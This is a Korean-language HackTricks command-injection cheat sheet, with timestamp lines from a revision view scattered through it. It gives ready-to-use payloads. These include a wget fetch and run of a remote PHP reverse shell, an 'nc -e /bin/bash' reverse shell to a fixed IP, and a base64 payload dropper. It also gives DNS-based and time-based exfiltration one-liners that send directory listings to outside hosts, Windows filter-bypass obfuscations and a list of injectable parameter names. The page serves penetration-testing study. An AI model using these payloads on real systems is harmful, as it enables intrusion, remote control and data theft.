2024-02-10 21:30:13 +00:00
# 명령 주입
2022-04-28 16:01:33 +00:00
< details >
2024-03-17 16:41:54 +00:00
< summary >< strong > htARTE (HackTricks AWS Red Team Expert)</ strong > 를 통해 **제로부터 영웅까지 AWS 해킹 배우기** !</ summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:25:17 +00:00
2024-03-29 21:25:26 +00:00
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하고 싶다면 [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
2024-03-17 16:41:54 +00:00
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구매하세요
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
2024-03-29 21:25:26 +00:00
* 💬 [**디스코드 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **가입**하거나 **트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )를 **팔로우**하세요.
2024-03-17 16:41:54 +00:00
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
< / details >
2024-03-29 21:25:26 +00:00
< figure > < img src = "../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-10-27 23:22:18 +00:00
2024-03-29 21:25:26 +00:00
[**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks )를 사용하여 **세계에서 가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
2024-02-10 21:30:13 +00:00
오늘 바로 액세스하세요:
2022-10-27 23:22:18 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2024-02-10 21:30:13 +00:00
## 명령 주입이란?
2020-07-15 15:43:14 +00:00
2024-03-29 21:25:26 +00:00
**명령 주입**은 악당이 응용 프로그램을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있게 하는 것을 의미합니다. 결과적으로 응용 프로그램과 모든 데이터가 완전히 침해될 수 있습니다. 이러한 명령을 실행하면 일반적으로 악당이 응용 프로그램 환경 및 기본 시스템에 대한 무단 액세스 또는 제어를 얻을 수 있습니다.
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
### 문맥
2020-07-15 15:43:14 +00:00
2024-03-29 21:25:26 +00:00
**입력이 주입되는 위치에 따라**, 명령 앞에 **인용된 문맥을 종료**해야 할 수 있습니다(`"` 또는 `'` 사용).
2020-07-15 15:43:14 +00:00
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls& & id; ls & & id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
2022-10-02 23:08:05 +00:00
ls${LS_COLORS:10:1}${IFS}id # Might be useful
2020-07-15 15:43:14 +00:00
2022-10-10 00:18:23 +00:00
#Not executed but may be interesting
2020-07-15 15:43:14 +00:00
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
2024-02-10 21:30:13 +00:00
### **제한** 우회
2020-07-15 15:43:14 +00:00
2024-03-29 21:25:26 +00:00
만약 **리눅스 머신 내에서 임의의 명령을 실행**하려고 한다면, 다음 **우회**에 대해 읽어볼 가치가 있습니다:
2020-07-15 15:43:14 +00:00
2022-10-02 23:08:05 +00:00
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md ](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md )
{% endcontent-ref %}
2024-02-10 21:30:13 +00:00
### **예시**
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
2024-02-10 21:30:13 +00:00
### 매개변수
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
다음은 코드 삽입 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수입니다 ([링크](https://twitter.com/trbughunters/status/1283133356922884096)):
2021-10-18 11:21:18 +00:00
```
2020-07-29 09:22:22 +00:00
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
2024-02-10 21:30:13 +00:00
### 시간 기반 데이터 유출
2020-07-29 09:22:22 +00:00
2024-03-17 16:41:54 +00:00
데이터 추출: 문자별로
2021-10-18 11:21:18 +00:00
```
2021-06-25 16:50:01 +00:00
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
2024-02-10 21:30:13 +00:00
### DNS 기반 데이터 유출
2021-06-25 16:50:01 +00:00
2024-03-17 16:41:54 +00:00
도구는 `https://github.com/HoLyVieR/dnsbin` 에서 제공되며 dnsbin.zhack.ca에서 호스팅됩니다.
2021-10-18 11:21:18 +00:00
```
2021-06-25 16:50:01 +00:00
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
2021-10-18 11:21:18 +00:00
```
2021-06-25 16:50:01 +00:00
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
2024-03-29 21:25:26 +00:00
### DNS 기반 데이터 유출을 확인하기 위한 온라인 도구:
2021-06-25 16:50:01 +00:00
* dnsbin.zhack.ca
* pingb.in
2024-03-17 16:41:54 +00:00
### 필터 우회
2021-06-25 16:50:01 +00:00
2022-05-01 13:25:53 +00:00
#### Windows
2021-10-18 11:21:18 +00:00
```
2022-04-05 22:24:52 +00:00
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
2021-06-25 16:50:01 +00:00
```
2022-05-01 13:25:53 +00:00
#### Linux
2021-06-25 16:50:01 +00:00
2022-05-07 19:19:13 +00:00
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md ](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-06-25 16:50:01 +00:00
2024-03-17 16:41:54 +00:00
## Brute-Force Detection List
2021-06-27 21:56:13 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
2021-06-27 21:56:13 +00:00
2024-03-17 16:41:54 +00:00
## References
2020-07-15 15:43:14 +00:00
2024-02-06 03:10:38 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection )
* [https://portswigger.net/web-security/os-command-injection ](https://portswigger.net/web-security/os-command-injection )
2022-04-28 16:01:33 +00:00
< details >
2024-03-29 21:25:26 +00:00
< summary > < strong > Learn AWS hacking from zero to hero with< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-29 21:25:26 +00:00
Other ways to support HackTricks:
2023-12-31 01:25:17 +00:00
2024-03-29 21:25:26 +00:00
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2022-08-31 22:35:39 +00:00
2024-03-17 16:41:54 +00:00
< figure > < img src = "../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-08-31 22:35:39 +00:00
\
2024-03-29 21:25:26 +00:00
Use [**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks ) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}